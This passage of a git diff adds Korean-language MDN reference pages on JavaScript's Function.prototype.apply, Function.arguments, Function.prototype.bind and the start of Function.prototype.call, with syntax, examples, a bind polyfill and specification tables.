+<p>ECMAScript 5번 째 판의 시작으로, 모든 유사 배열 객체 타입을 사용할 수 있으며, 실제로 이는 프로퍼티 <code>length</code> 와 범위 <code>(0..length-1)</code> 내의 정수 프로퍼티를 갖는 다는 것을 의미합니다. 예를 들면, 이제 {{domxref("NodeList")}} 또는 <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }</code> 와 같은 커스텀 객체를 사용할 수 있습니다.</p>
+
+<div class="blockIndicator note">Chrome 14와 Internet Explorer 9를 포함한 대부분의 브라우저는 아직 유사배열객체를 apply에 사용할 수 없으며 오류가 출력됩니다.</div>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example_Using_apply_to_chain_constructors" name="Example:_Using_apply_to_chain_constructors">배열에 배열을 붙이기 위해 <code>apply</code> 사용하기</h3>
+
+<p><code>push</code> 를 사용하여 요소를 배열에 추가 할 수 있습니다. <code>push</code> 는 가변 인수를 허용하기 때문에 여러 요소를 동시에 추가 할 수 있습니다. 그러나 <code>push</code> 에 배열을 전달하면 요소를 개별적으로 추가하는 대신 실제로 해당 배열을 단일 요소로 추가하므로 결국 배열 내부에 배열로 끝납니다. 그것이 우리가 원하는 것이 아니라면? 이 경우 <code>concat</code> 은 우리가 원하는 동작을 하지만 실제로는 기존 배열에 추가되지 않고 새 배열을 만들어 반환 합니다. 그러나 우리는 기존 배열에 추가하고 싶었습니다 ... 그럼 이제 어쩌죠? 루프를 작성 할까요? 분명히 아니죠?</p>
+
+<p>방법은 <code>apply</code> !</p>
+
+<pre class="brush: js">var array = ['a', 'b'];
+var elements = [0, 1, 2];
+array.push.apply(array, elements);
+console.info(array); // ["a", "b", 0, 1, 2]
+</pre>
+
+<h3 id="apply_와_내장함수_사용"><code>apply</code> 와 내장함수 사용</h3>
+
+<p><code>apply</code> 를 보다 효과적으로 이용하면 일부 내장 함수는 어떤 작업에 대해서는 배열과 루프없이 쉽게 처리됩니다. 다음 예제에서는 배열에서 최대값과 최소값을 구하기 위해 <code>Math.max</code>/<code>Math.min</code> 함수를 이용하고 있습니다.</p>
+
+<pre class="brush: js">// min/max number in an array
+var numbers = [5, 6, 2, 3, 7];
+
+// using Math.min/Math.max apply
+var max = Math.max.apply(null, numbers);
+// 이는 Math.max(numbers[0], ...) 또는 Math.max(5, 6, ...)
+// 와 거의 같음
+
+var min = Math.min.apply(null, numbers);
+
+// vs. simple loop based algorithm
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; numbers.length; i++) {
+ if (numbers[i] &gt; max) {
+ max = numbers[i];
+ }
+ if (numbers[i] &lt; min) {
+ min = numbers[i];
+ }
+}
+</pre>
+
+<p>하지만 이러한 방식으로 <code>apply</code> 를 사용하는 경우 주의해야 합니다. JavaScript 엔진의 인수 길이 제한을 초과하는 위험성에 대해 이해할 필요가 있습니다. 함수에 너무 많은(대략 몇 만개 이상) 인수를 줄 때의 상황은 엔진마다 다른데(예를 들어 JavaScriptCore의 경우 <a href="https://bugs.webkit.org/show_bug.cgi?id=80797">인수의 개수 제한은 65536</a>), 상한이 특별히 정해져 있지 않기 때문입니다. 어떤 엔진은 예외를 던집니다. 더 심한 경우는 실제 함수에 인수를 전달했음에도 불구하고 참조할 수 있는 인수의 수를 제한하고 있는 경우도 있습니다(이러한 엔진에 대해 더 자세히 설명하면, 그 엔진이 arguments의 상한을 4개로 했다고 하면[실제 상한은 물론 더 위일 것입니다], 위 예제 코드의 전체 배열이 아니라 <code>5, 6, 2, 3</code> 만 <code>apply</code> 에 전달되어 온 것처럼 작동합니다).</p>
+
+<p>만약 사용하는 배열 변수의 수가 수만을 초과하는 경우에는 복합적인 전략을 강구해야할 것입니다:한 번에 전달할 배열을 분할하여 사용하기:</p>
+
+<pre class="brush: js">function minOfArray(arr) {
+ var min = Infinity;
+ var QUANTUM = 32768;
+
+ for (var i = 0, len = arr.length; i &lt; len; i += QUANTUM) {
+ var submin = Math.min.apply(null,
+  arr.slice(i, Math.min(i + QUANTUM, len)));
+ min = Math.min(submin, min);
+ }
+
+ return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);
+
+</pre>
+
+
+
+<h3 id="생성자_체이닝을_위한_apply_사용">생성자 체이닝을 위한 <code>apply</code> 사용</h3>
+
+<p>Java 와 유사하게, 객체를 위한 {{jsxref("Operators/new", "constructors", "", 1)}} 체이닝을 위해 <code>apply</code> 를 사용할 수 있습니다. 다음 예제에서 인수 리스트 대신 생성자로 유사 배열 객체를 사용할 수 있게 해주는 <code>construct</code> 라는 전역 {{jsxref("Function")}} 메소드를 생성할 것입니다. </p>
+
+<pre><code>Function.prototype.construct = function(aArgs) {
+ var oNew = Object.create(this.prototype);
+ this.apply(oNew, aArgs);
+ return oNew;
+};</code></pre>
+
+<div class="blockIndicator note">
+<p><strong>알림:</strong> 위에서 사용된 <code>Object.create()</code> 메소드는 상대적으로 새로운 것입니다. 대안으로, 다음 접근법 중 하나를 고려하세요.</p>
+
+<p>{{jsxref("Object/__proto__", "Object.__proto__")}} 사용</p>
+
+<pre><code>Function.prototype.construct = function (aArgs) {
+ var oNew = {};
+ oNew.__proto__ = this.prototype;
+ this.apply(oNew, aArgs);
+ return oNew;
+};</code></pre>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Closures">클로져</a> 사용:</p>
+
+<pre><code>Function.prototype.construct = function(aArgs) {
+ var fConstructor = this, fNewConstr = function() {
+ fConstructor.apply(this, aArgs);
+ };
+ fNewConstr.prototype = fConstructor.prototype;
+ return new fNewConstr();
+};</code></pre>
+
+<p>{{jsxref("Function")}} 생성자 사용</p>
+
+<pre><code>Function.prototype.construct = function (aArgs) {
+ var fNewConstr = new Function("");
+ fNewConstr.prototype = this.prototype;
+ var oNew = new fNewConstr();
+ this.apply(oNew, aArgs);
+ return oNew;
+};</code></pre>
+</div>
+
+<p>사용 예제</p>
+
+<pre><code>function MyConstructor() {
+ for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+ this['property' + nProp] = arguments[nProp];
+ }
+}
+
+var myArray = [4, 'Hello world!', false];
+var myInstance = MyConstructor.construct(myArray);
+
+console.log(myInstance.property1); // logs 'Hello world!'
+console.log(myInstance instanceof MyConstructor); // logs 'true'
+console.log(myInstance.constructor); // logs 'MyConstructor'</code></pre>
+
+<p><strong>알림:</strong> 네이티브가 아닌 <code>Function.construct</code> 메소드는 {{jsxref("Date")}} 와 같은 일부 네이티브 생성자와 동작하지 않을 것입니다. 그런 경우, {{jsxref("Function.prototype.bind")}} 메소드를 사용해야 합니다. 예를 들어, 다음과 같은 배열이 있다고 할 때, {{jsxref("Global_Objects/Date", "Date")}} 생성자: <code>[2012, 11, 4]</code> 와 함께 사용되려면 다음과 같이 작성해야 합니다: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code>. 이는 가장 좋은 방법이 아니며, 어떤 상용 환경에서도 사용되지 않을 수 있습니다.</p>
+
+
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의. JavaScript 1.3 에 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Function.apply")}}</p>
+
+
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} 객체</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/arguments/index.html b/files/ko/web/javascript/reference/global_objects/function/arguments/index.html
new file mode 100644
index 0000000000..9a498f2468
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/arguments/index.html
@@ -0,0 +1,60 @@
+---
+title: Function.arguments
+slug: Web/JavaScript/Reference/Global_Objects/Function/arguments
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<p><code><strong><em>function</em>.arguments</strong></code> 속성은 함수로 부터 넘겨 받은 arguments에 해당하는 배열과 같은 객체이다. 간단하게 {{jsxref("Functions/arguments", "arguments")}}를 대신 사용하자. 이 속성은 strict mode에서 <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-addrestrictedfunctionproperties">꼬리 호출 최적화</a> 때문에 금지 된다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code><em>function</em>.arguments</code> 문법은 deprecated 되었다. 함수 내 에서 사용 가능한 객체{{jsxref("Functions/arguments", "arguments")}}에 접근하는 추천되는 방법은 단순히 {{jsxref("Functions/arguments", "arguments")}}변수로 참조하는 것이다.</p>
+
+<p>반복문의 경우, 함수 <code>f</code> 가 여러번 호출 스택에 나타나면, <code>f.arguments</code>의 값은 함수의 가장 최근 호출 arguments를 나타낸다.</p>
+
+<p>arguments의 값은 함수 실행 과정에서 특별한 호출이 없다면 일반적으로 null 이다 (즉, 함수가 호출은 되었으나 반환되지 않음).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="arguments_object를_사용한_예시">arguments object를 사용한 예시</h3>
+
+<pre class="brush: js">function f(n) { g(n - 1); }
+
+function g(n) {
+ console.log('before: ' + g.arguments[0]);
+ if (n &gt; 0) { f(n); }
+ console.log('after: ' + g.arguments[0]);
+}
+
+f(2);
+
+console.log('returned: ' + g.arguments);
+
+// Output
+
+// before: 1
+// before: 0
+// after: 0
+// after: 1
+// returned: null
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><code><em>function</em>.arguments</code>는 표준이 아니다. ECMAScript 3에서 {{jsxref("Functions/arguments", "arguments")}}를 참조하기 때문에 deprecated 되었다.</p>
+
+<h2 id="Browser_호환성">Browser 호환성</h2>
+
+<div>
+<div class="hidden">이 페이지에 있는 호환성 테이블은 구조화된 데이터로 생성 되었습니다. 이 데이터에 기여를 하기 원하시면, 이 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 페이지를 확인 하시고 Pull Request를 보내주시기 바랍니다.</div>
+
+<p>{{Compat("javascript.builtins.Function.arguments")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}} 객체</li>
+ <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/bind/index.html b/files/ko/web/javascript/reference/global_objects/function/bind/index.html
new file mode 100644
index 0000000000..6a39852239
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/bind/index.html
@@ -0,0 +1,296 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Reference/Global_Objects/Function/bind
+tags:
+ - ECMAScript 2015
+ - Function
+ - JavaScript
+ - Method
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>bind()</strong></code> 메소드가 호출되면 새로운 함수를 생성합니다. 받게되는 첫 인자의 value로는 <code>this</code> 키워드를 설정하고, 이어지는 인자들은 바인드된 함수의 인수에 제공됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-bind.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>func</var>.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>바인딩<span style="font-size: 13.3333px;"> </span>함수가 대상 함수(target function)의 <code>this</code>에 전달하는 값입니다. 바인딩 함수를 {{jsxref("Operators/new", "new")}} 연산자로 생성한 경우 무시됩니다. <code>bind</code>를 사용하여 <code>setTimeout</code> 내에 콜백 함수를 만들 때, <code>thisArg</code>로 전달된 원시 값은 객체로 변환됩니다. <code>bind</code>할 인수(argument)가 제공되지 않으면  실행 스코프 내의 <code>this</code>는 새로운 함수의 <code>thisArg</code>로 처리됩니다.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>대상 함수의 인수 앞에 사용될 인수.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 <code>this</code> 값 및 초기 인수를 사용하여 변경한 원본 함수의 복제본.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>bind()</code> 함수는 새로운 바인딩한 함수를 만듭니다. 바인딩한 함수는 원본 함수 객체를 감싸는 함수로, ECMAScript 2015에서 말하는 특이 함수 객체<sup>exotic function object</sup>입니다. 바인딩한 함수를 호출하면 일반적으로 래핑된 함수가 호출 됩니다.</p>
+
+<p>바인딩한 함수는 다음과 같은 내부 속성을 가지고 있습니다.</p>
+
+<ul>
+ <li><code><strong>[[BoundTargetFunction]]</strong></code> - 바인딩으로 감싼(wrapped) 원본 함수 객체.</li>
+ <li><code><strong>[[BoundThis]]</strong></code> - 감싸진 함수를 호출했을 때 항상 전달되는 값.</li>
+ <li><code><strong>[[BoundArguments]]</strong></code> - 감싸진 함수가 호출될 때 첫 번째 인수로 사용되는 값들의 목록.</li>
+ <li><code><strong>[[Call]]</strong></code> - 이 객체와 관련된 코드 실행. 함수 호출 식을 통해 호출됨. 내부 메소드의 인수는 this 값 및 호출 식으로 함수에 전달되는 인수를 포함하는 목록입니다.</li>
+</ul>
+
+<p>바인딩된 함수가 호출될 때 <code>[[BoundTargetFunction]]</code>의 내부 메소드 <code>[[Call]]</code>을 호출합니다. <code>[[Call]]</code> 은 <code>Call(<em>boundThis</em>, <em>args</em>)</code>와 같은 인자를 가집니다. 이 때, <code><em>boundThis</em></code>는 <code>[[BoundThis]]</code>이고, <code><em>args</em></code>는 함수가 호출될 때 전달되어 따라오는 <code>[[BoundArguments]]</code> 입니다.</p>
+
+<p>바인딩된 함수는 {{jsxref("Operators/new", "new")}} 연산자를 사용하여 생성될 수도 있습니다: 그렇게 하면 대상 함수가 마치 대신 생성된 것처럼 행동합니다. 제공된 <code>this</code> 값은 무시됩니다, 앞에 붙인(prepend) 인수는 에뮬레이트된 함수에 제공되지만.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="바인딩된_함수_생성">바인딩된 함수 생성</h3>
+
+<p><code>bind()</code>의 가장 간단한 사용법은 호출 방법과 관계없이 특정 <code>this</code> 값으로 호출되는 함수를 만드는 겁니다. 초보 JavaScript 프로그래머로서 흔한 실수는 객체로부터 메소드를 추출한 뒤 그 함수를 호출할때, 원본 객체가 그 함수의 <code>this</code>로 사용될 것이라 기대하는 겁니다(예시 : 콜백 기반 코드에서 해당 메소드 사용). 그러나 특별한 조치가 없으면, 대부분의 경우 원본 객체는 손실됩니다. 원본 객체가 바인딩 되는 함수를 생성하면, 이러한 문제를 깔끔하게 해결할 수 있습니다.</p>
+
+<pre class="brush: js">this.x = 9;
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var retrieveX = module.getX;
+retrieveX();
+// 9 반환 - 함수가 전역 스코프에서 호출됐음
+
+// module과 바인딩된 'this'가 있는 새로운 함수 생성
+// 신입 프로그래머는 전역 변수 x와
+// module의 속성 x를 혼동할 수 있음
+var boundGetX = retrieveX.bind(module);
+boundGetX(); // 81
+</pre>
+
+<h3 id="부분_적용_함수">부분 적용 함수</h3>
+
+<p><code>bind()</code>의 다음으로 간단한 사용법은 미리 지정된 초기 인수가 있는 함수를 만드는 겁니다. 지정될 초기 인수가 있다면 제공된 <code>this</code> 값을 따르고, 바인딩 된 함수에 전달되어 바인딩 된 함수가 호출될 때마다 대상 함수의 인수 앞에 삽입됩니다.</p>
+
+<pre><code>function list() {
+ return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// 선행될 인수를 설정하여 함수를 생성합니다.
+var leadingThirtysevenList = list.bind(null, 37);
+
+var list2 = leadingThirtysevenList(); // [37]
+
+var list3 = leadingThirtysevenList(1, 2, 3); // [37, 1, 2, 3]
+
+
+function addArguments(arg1, arg2) {
+ return arg1 + arg2
+}
+
+var result1 = addArguments(1, 2); // 3
+
+// 첫 번째 인수를 지정하여 함수를 생성합니다.
+var addThirtySeven = addArguments.bind(null, 37);
+
+var result2 = addThirtySeven(5); // 37 + 5 = 42
+
+// 두 번째 인수는 무시됩니다.
+var result3 = addThirtySeven(5, 10); // 37 + 5 = 42</code>
+</pre>
+
+<h3 id="setTimeout과_함께_사용"><code>setTimeout</code>과 함께 사용</h3>
+
+<p>{{domxref("window.setTimeout()")}} 내에서 기본으로, <code>this</code> 키워드는 {{ domxref("window") }} (또는 <code>global</code>) 객체로 설정됩니다. 클래스 인스턴스를 참조하는 <code>this</code>를 필요로 하는 클래스 메소드로 작업하는 경우, 명시해서 <code>this</code>를 콜백 함수에 바인딩할 수 있습니다, 인스턴스를 유지하기 위해.</p>
+
+<pre class="brush: js">function LateBloomer() {
+ this.petalCount = Math.ceil(Math.random() * 12) + 1;
+}
+
+// 1초 지체 후 bloom 선언
+LateBloomer.prototype.bloom = function() {
+ window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+ console.log('I am a beautiful flower with ' +
+ this.petalCount + ' petals!');
+};
+
+var flower = new LateBloomer();
+flower.bloom();
+// 1초 뒤, 'declare' 메소드 유발</pre>
+
+<h3 id="생성자로_쓰이는_바인딩된_함수">생성자로 쓰이는 바인딩된 함수</h3>
+
+<div class="warning">
+<p><strong>경고:</strong> 이 부분은 JavaScript 능력을 보이고 <code>bind()</code> 메소드의 일부 극단 상황(edge case)을 기록합니다. 아래 보이는 메소드는 일을 하는 가장 좋은 방법은 아니며 아마도 상용 환경에서 전혀 사용되지 않을 겁니다.</p>
+</div>
+
+<p>바인딩된 함수는 자동으로 대상 함수에 의해 생성되는 새로운 인스턴스를 생성하는 {{jsxref("Operators/new", "new")}} 연산자와 함께 쓰기에 적합합니다. 바인딩된 함수가 값을 생성하는 데 쓰이는 경우, 제공된 <code>this</code>는 무시됩니다. 그러나, 제공된 인수는 여전히 생성자 호출에 (인수부) 앞에 붙습니다:</p>
+
+<pre class="brush: js">function Point(x, y) {
+ this.x = x;
+ this.y = y;
+}
+
+Point.prototype.toString = function() {
+ return this.x + ',' + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // '1,2'
+
+// 아래 폴리필에서는 지원되지 않음,
+
+// 원 bind와는 잘 작동:
+
+var YAxisPoint = Point.bind(null, 0/*x*/);
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); // '0,5'
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // true
+</pre>
+
+<p>{{jsxref("Operators/new", "new")}}와 함께 쓰기 위한 바인딩된 함수를 만들기 위해 특별한 일을 할 필요가 없음을 주의하세요. 그 결과 분명히 호출되는 바인딩된 함수를 만들기 위해 특별히 아무것도 할 필요가 없습니다, 오히려 {{jsxref("Operators/new", "new")}}를 사용해서만 호출되는 바인딩된 함수를 요구하는 경우에도.</p>
+
+<pre class="brush: js">// 예는 JavaScript 콘솔에서 직접 실행될 수 있음
+// ...위에서부터 이어짐
+
+// 여전히 일반 함수로서 호출될 수 있음
+// (보통 이를 원하지 않더라도)
+YAxisPoint(13);
+
+emptyObj.x + ',' + emptyObj.y;
+// &gt; '0,13'
+</pre>
+
+<p>오로지 {{jsxref("Operators/new", "new")}}를 사용하거나 호출해서만 바인딩된 함수의 사용을 지원하고 싶은 경우, 대상 함수는 그 제한을 강제해야 합니다.</p>
+
+<h3 id="바로_가기_생성">바로 가기 생성</h3>
+
+<p><code>bind()</code>는 특정 <code>this</code> 값을 필요로 하는 함수의 바로 가기(shortcut)를 만들고 싶은 경우에도 도움이 됩니다.</p>
+
+<p>가령, 배열 같은 객체를 실제 배열로 변환하는 데 사용하고 싶은 {{jsxref("Array.prototype.slice")}}를 취하세요. 이와 같은 바로 가기를 만들 수 있습니다:</p>
+
+<pre class="brush: js">var slice = Array.prototype.slice;
+
+// ...
+
+slice.apply(arguments);
+</pre>
+
+<p><code>bind()</code>로, 이는 단순화될 수 있습니다. 다음 조각 코드에서, <code>slice</code>는 {{jsxref("Function.prototype")}}의 {{jsxref("Function.prototype.apply()", "apply()")}} 함수에 바인딩된 함수입니다, <code>this</code> 값을 {{jsxref("Array.prototype")}}의 {{jsxref("Array.prototype.slice()", "slice()")}} 함수로 설정한 채. 이는 추가 <code>apply()</code> 호출은 삭제될 수 있음을 뜻합니다:</p>
+
+<pre class="brush: js">// 이전 예에서 "slice"와 같음
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>bind</code> 함수는 ECMA-262 제5판에 추가되었습니다; 그러하기에 모든 브라우저에 없을 수 있습니다. 스크립트 시작 부분에 다음 코드를 삽입함으로써 이 문제를 부분적으로 해결할수 있으며,  bind() 지원하지 않는 구현에서도  대부분의 기능을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!Function.prototype.bind) {
+ Function.prototype.bind = function(oThis) {
+ if (typeof this !== 'function') {
+ // ECMAScript 5 내부 IsCallable 함수와
+ // 가능한 가장 가까운 것
+ throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+ }
+
+ var aArgs = Array.prototype.slice.call(arguments, 1),
+ fToBind = this,
+ fNOP = function() {},
+ fBound = function() {
+ return fToBind.apply(this instanceof fNOP
+ ? this
+ : oThis,
+ aArgs.concat(Array.prototype.slice.call(arguments)));
+ };
+
+ if (this.prototype) {
+ // Function.prototype은 prototype 속성이 없음
+ fNOP.prototype = this.prototype;
+ }
+ fBound.prototype = new fNOP();
+
+ return fBound;
+ };
+}
+</pre>
+
+<p>이 알고리즘과 스펙화된 알고리즘 간 많은 차이(충분히 다른 차이가 있을 수 있습니다, 이 목록은 정말 철저히 하지 않았기에) 중 일부는 다음입니다:</p>
+
+<ul>
+ <li>부분 구현은 {{jsxref("Array.prototype.slice()")}}, {{jsxref("Array.prototype.concat()")}}, {{jsxref("Function.prototype.call()")}} 및 {{jsxref("Function.prototype.apply()")}}, 원래 값을 갖는 내장 메소드에 의존합니다.</li>
+ <li>부분 구현은 불변(immutable) "poison pill" {{jsxref("Function.caller", "caller")}} 및 get, set 또는 삭제 시 {{jsxref("Global_Objects/TypeError", "TypeError")}}가 발생하는 <code>arguments</code> 속성이 없는 함수를 만듭니다. (이는 구현이 {{jsxref("Object.defineProperty")}}를 지원하는 경우 추가 또는 구현이 {{jsxref("Object.defineGetter", "__defineGetter__")}} 및 {{jsxref("Object.defineSetter", "__defineSetter__")}} 메소드를 지원하는 경우 [삭제 시 오류 발생(throw-on-delete) 동작(behavior) 없이] 부분 구현될 수 있습니다.)</li>
+ <li>부분 구현은 <code>prototype</code> 속성이 있는 함수를 만듭니다. (고유 바인딩된 함수는 없습니다.)</li>
+ <li>부분 구현은 {{jsxref("Function.length", "length")}} 속성이 ECMA-262에 의해 부여된(mandated) 그것과 일치하지 않는 바인딩된 함수를 만듭니다: 길이 0인 함수를 만듭니다, 반면에 전체 구현은 대상 함수의 길이 및 미리 지정된 인수의 수에 따라 0이 아닌 길이를 반환할 수 있습니다.</li>
+</ul>
+
+<p>이 부분 구현을 쓰기로 고른 경우, <strong>동작이 ECMA-262 제5판을 벗어난 경우에 의존하지 않아야 합니다!</strong> 그러나 주의 약간(과 아마도 특정 요구에 맞추기 위한 추가 수정)으로, 이 부분 구현은 <code>bind()</code>가 스펙에 따라 널리 구현될 때까지 적당한 다리가 될 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Function.bind")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions", "함수", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/function/call/index.html b/files/ko/web/javascript/reference/global_objects/function/call/index.html
new file mode 100644
index 0000000000..a92a7ab931
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/function/call/index.html
@@ -0,0 +1,197 @@
+---
+title: Function.prototype.call()
+slug: Web/JavaScript/Reference/Global_Objects/Function/call
+tags:
+ - Function
+ - JavaScript
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>call()</strong></code> 메소드는 주어진 <code>this</code> 값 및 각각 전달된 인수와 함께 함수를 호출합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의:</strong> 이 함수 구문은 {{jsxref("Function.prototype.apply", "apply()")}}와 거의 동일하지만, <code>call()</code>은 <strong>인수 목록</strong>을, 반면에 <code>apply()</code>는 <strong>인수 배열 하나</strong>를 받는다는 점이 중요한 차이점입니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/function-call.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>func</var>.call(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd><em><code>func</code></em> 호출에 제공되는 <code>this</code>의 값.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<dl>
+ <dd></dd>
+ <dd>
+ <p><code>this</code>는 메소드에 의해 보이는 실제값이 아닐 수 있음을 주의하세요: 메소드가 {{jsxref("Functions_and_function_scope/Strict_mode", "비엄격 모드", "", 1)}} 코드 내 함수인 경우, {{jsxref("Global_Objects/null", "null")}} 및 {{jsxref("Global_Objects/undefined", "undefined")}}는 전역 객체로 대체되고 원시값은 객체로 변환됩니다.</p>
+ </dd>
+</dl>
+</div>
+
+<p><code>arg1, arg2, ...</code></p>
+
+<dl>
+ <dd>객체를 위한 인수.</dd>
+</dl>
+
+<h3 id="반환값Return_Value">반환값(Return Value)</h3>
+
+<p><code>this</code> 와 arguments 를 매개로 호출된 함수의 반환값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>call()</code>은 이미 할당되어있는 다른 객체의 함수/메소드를 호출하는 해당 객체에 재할당할때 사용됩니다. <code>this</code>는 현재 객체(호출하는 객체)를 참조합니다. 메소드를 한번 작성하면 새 객체를 위한 메소드를 재작성할 필요 없이 <code>call()</code>을 이용해 다른 객체에 상속할 수 있습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="객체의_생성자_연결에_call_사용">객체의 생성자 연결에 <code>call</code> 사용</h3>
+
+<p>Java와 비슷하게, 객체의 생성자 연결(chain)에 <code>call</code>을 사용할 수 있습니다. 다음 예에서, <code>Product</code> 객체의 생성자는 <code>name</code> 및 <code>price</code> 를 매개변수로 정의됩니다. 다른 두 함수 <code>Food</code> 및 <code>Toy</code>는 <code>this</code> 및 <code>name</code>과 <code>price</code>를 전달하는 <code>Product</code>를 호출합니다. <code>Product</code>는 <code>name</code> 및 <code>price</code> 속성을 초기화하고, 특수한 두 함수(Food 및 Toy)는 <code>category</code>를 정의합니다.</p>
+
+<pre class="brush: js">function Product(name, price) {
+ this.name = name;
+ this.price = price;
+
+ if (price &lt; 0) {
+ throw RangeError('Cannot create product ' +
+ this.name + ' with a negative price');
+ }
